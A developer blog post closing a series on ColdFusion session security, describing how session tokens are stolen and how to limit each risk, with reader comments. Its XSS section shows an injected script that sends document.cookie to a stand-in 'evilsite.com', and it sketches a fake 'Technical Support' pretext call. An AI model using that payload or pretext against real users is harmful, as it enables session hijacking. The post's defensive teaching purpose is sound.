How Session Tokens are Compromised and ColdFusion Session Security Wrap Up - Security Series #6.3

So in order for a hacker to hijack a session, he or she needs to obtain a session token from a legitimate user session. They can accomplish this in one of several ways.

  • Access to the physical machine
  • Packet Sniffing on the network
  • Social Engineering
  • Cross-Site Scripting (XSS)
  • Session Fixation
  • Server logs

So let's look at these one by one.

Access to the Physical Machine

When a hacker can gain access to the physical machine that a legitimate user has recently been on, they can obtain the session token by:

  1. Looking at the disk written cookies, if one was written (ColdFusion Session Management)
  2. Looking at the in-memory cookies, if the user has not closed down their browser (Any session management)
  3. Looking at the browser history, if the developer passed the token in the URL String, (Any Session Management)

So, how do we limit this risk?

By using J2EE session variables we can eliminate risk #1, because there will be no disk-written cookies.

By reducing the time span of our session timeouts we can reduce the risk of all three.

And we can eliminate risk #3 by not passing the token in the URL string and by insisting that the user have cookies enabled, as we discussed here

Of course, there is nothing we can do about our users not closing their browsers or not properly using the "logoff" button where appropriate, except to try to educate them on why they should.

Packet Sniffing on the Network

Packet Sniffing is the act of using software to intercept the packets of network traffic on a network to log their contents. The data inside of those packets can be used to exploit a network system or application. The types of information a hacker can get from packet sniffing include: session tokens, passwords, credit card numbers, and other sensitive data.

So how do we stop it? Really, there is only one way, of which I am aware, to prevent packet sniffing. And that is with Secure Sockets Layer (SSL) encryption. By using SSL on your site, you encrypt the traffic between the browser and the server, making packet sniffing nearly (if not totally) impossible.

Social Engineering

There's a phrase we have not heard in a long time. Many people forget about social engineering and how it can be used to exploit a network or an application, but the threat is still VERY real.

Hypothetical: One of your users receives a call, from "Technical Support" saying: "We received a report that someone was using your account to sending threatening messages to person XXX. We are calling to verify your computer and to encourage you to change your password right away. Could you please [Walks user through finding the session cookie] and read me the number there."

Now, you may be too clever to fall for this type of trickery. But your users are not. Granted, not every application is worthy of going to this much trouble to exploit, but you should be aware that it is possible.

So how do we stop our users from doing silly things? Well, there are two things we can do to reduce the risk of this type of "attack". The first, as always, is to educate our users. If possible, let them know that the "Technical Support" department will not be calling them to "verify information", etc.

The second thing we can do is to make sure we are not using Standard ColdFusion Session tokens, which are only a (up to) 4-digit number CFIF and an 8-digit number CFToken. These are pretty easy for the user to read off, and will probably not arouse the user's suspicion. However, if the user needs to read off a 35 character UUID or a 35 character jsession id, it is more difficult to do, it may arouse the user's suspicion, and it is easier for the hacker to make a mistake taking it down. Of course, this does not completely reduce the risk, but it can help.

I was just thinking, another thing one could do, if they wanted is to obfuscate the session id with several phony session ids. In your onSessionStart() method add a session.ksessionid and a session.wsessionid, and a session. qsessionid, etc. I don't know if this is a good idea or not, it just occurred to me that it might make the social engineering a little more difficult.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a HUGE topic. I will be covering it in more detail in a future series. But it is important to understand that it can be used to exploit a user session pretty easily if you do not take the initiative to protect your application from it.

XSS occurs when a malicious user manages to "inject" code into your site. This can be done through any standard web interface. One of the most likely places for this to occur is in blog comment or online forums, where you give the end user access to submit information that can be viewed by other users. Don't forget that your site administrators are other users as well, so even a contact us form can be used in this way.

So for example, a malicious user could insert the following as their "comment" on your blog.


<script type="text/javascript">
document.location = "http://www.evilsite.com";
</script>
This would of course redirect any user from your blog post to the evil site.

So, how can they use this to steal session tokens? Well it's pretty easy. They would "inject" something like this:

<script type="text/javascript">
    
    document.location='http://www.evilsite.com?' + document.cookie;
    
</script>

Now, the evil site will also get the session cookie of any user who gets redirected there. Of course, this would get suspicious quickly. So the hacker would need to put in a redirect from his site back to the victim site, but believe me, the hackers are very clever. This is a very simple example.

So, how do we avoid it.

There are several things we can do to limit XSS attacks on our sites. The first thing you can do is enable script protect. If your administrator has not already done it in the ColdFusion administrator, then you can do it in your application.cfc file by adding this to your pseudo-constructor:


    <cfset this.scriptprotect = 'all' />

Now, this does not catch everything, so we should ALWAYS sanitize anything the user sends into our application. This can be done with the HTMLEditFormat() function.

So anytime you output data that was provided from a user, you use HTMLeditFormat() to display it.

We'll talk more about XSS in future posts. For now, do these two things to protect your application.

Session Fixation

Well, this one appears to carry with it some good news. As far as I can tell, ColdFusion is not vulnerable to Session Fixation attacks. At least not easily. I speak only of CF7 & CF8 here, I have not tested any others. I believe CF 4 and 5 were vulnerable, but that is based on hearsay.

I have spent a few hours now trying to exploit an application over which I have control, and I have been unable to fixate a session.

Really quick, a session fixation attack occurs when a malicious user sends a link to a user that contains a sessionid. Like:

http://www.12robots.com/index.cfm?sessionid=243h4h24h234h24n2o90us09u

Then the user clicks on the link, and logs into their account. In the background, the server has accepted the token that was passed in as legit, either because the server is stupid or because the hacker has previously established the session and has been persisting it by refreshing.

Then the hacker would have the session token of the user after they log in, and they can hijack the session. Of course, since this requires convincing the user to click on the link, some social engineering is required.

Server Logs

If the hacker can obtain access to the server logs from where your site is hosted and your application passes the session token in the URL and you are not using SLL, then he or she can get the session tokens out of the logs. Simple as that. To reduce the risk of this type of exploit you should NOT pass the token in the URL and you should reduce the session timeout.

Wrap up

I have had a lot of fun with this session security sub-series. I did not have a chance to look at session security in a cluster, so I am not sure if there are any concerns that exist only in that environment. I would be curious to hear if anyone knows of any.

I am not sure yet what my next series will be on, but I have a few non-series security related post, and possibly some on my journey to become more object-oriented.

Comments
Chris's Gravatar Excellent once again Jason!
# Posted By Chris | 6/18/08 11:29 AM
Pete Capra's Gravatar Yeah, I really enjoyed this series too Jason. Keep it up!
# Posted By Pete Capra | 6/18/08 5:20 PM
Jason Dean's Gravatar @Chris and Pete. Thanks for the comments.
# Posted By Jason Dean | 6/19/08 7:01 AM
Kathy's Gravatar This was a really interesting series. I had not considered security too much since I normally write my pages for an Intranet.

Thanks for taking the time to educate!
# Posted By Kathy | 6/19/08 3:58 PM
Jason Dean's Gravatar @Kathy,

I'm glad you liked the series, but you should keep in mind that building an app for a Intranet does not mean that you can slack on security. Internal users can be just a malicious, and sometimes more so, than external users. Disgruntled employees, office politics/romances, and simple conflicts can make people want to do some pretty silly things.

Even for non-destructive reasons security is an issue. Iinternal users may decide they want to steal data before they go onto another job, or to get credit card numbers to sell on the internet, or even to get the home address of a coworker for stalking.

When it comes to application security, no user should be considered harmless.
# Posted By Jason Dean | 6/19/08 4:45 PM
masterorb's Gravatar I would just like to say, sir, that this is the series I have been looking for for 2-3 years. Thank you.
# Posted By masterorb | 4/6/09 9:08 PM
Jason Dean's Gravatar @masterorb, Thank you for the compliment. It is nice to know that people are still getting value out of my posts.
# Posted By Jason Dean | 4/7/09 8:09 AM
BlogCFC was created by Raymond Camden. This blog is running version 5.9.1. Contact Blog Owner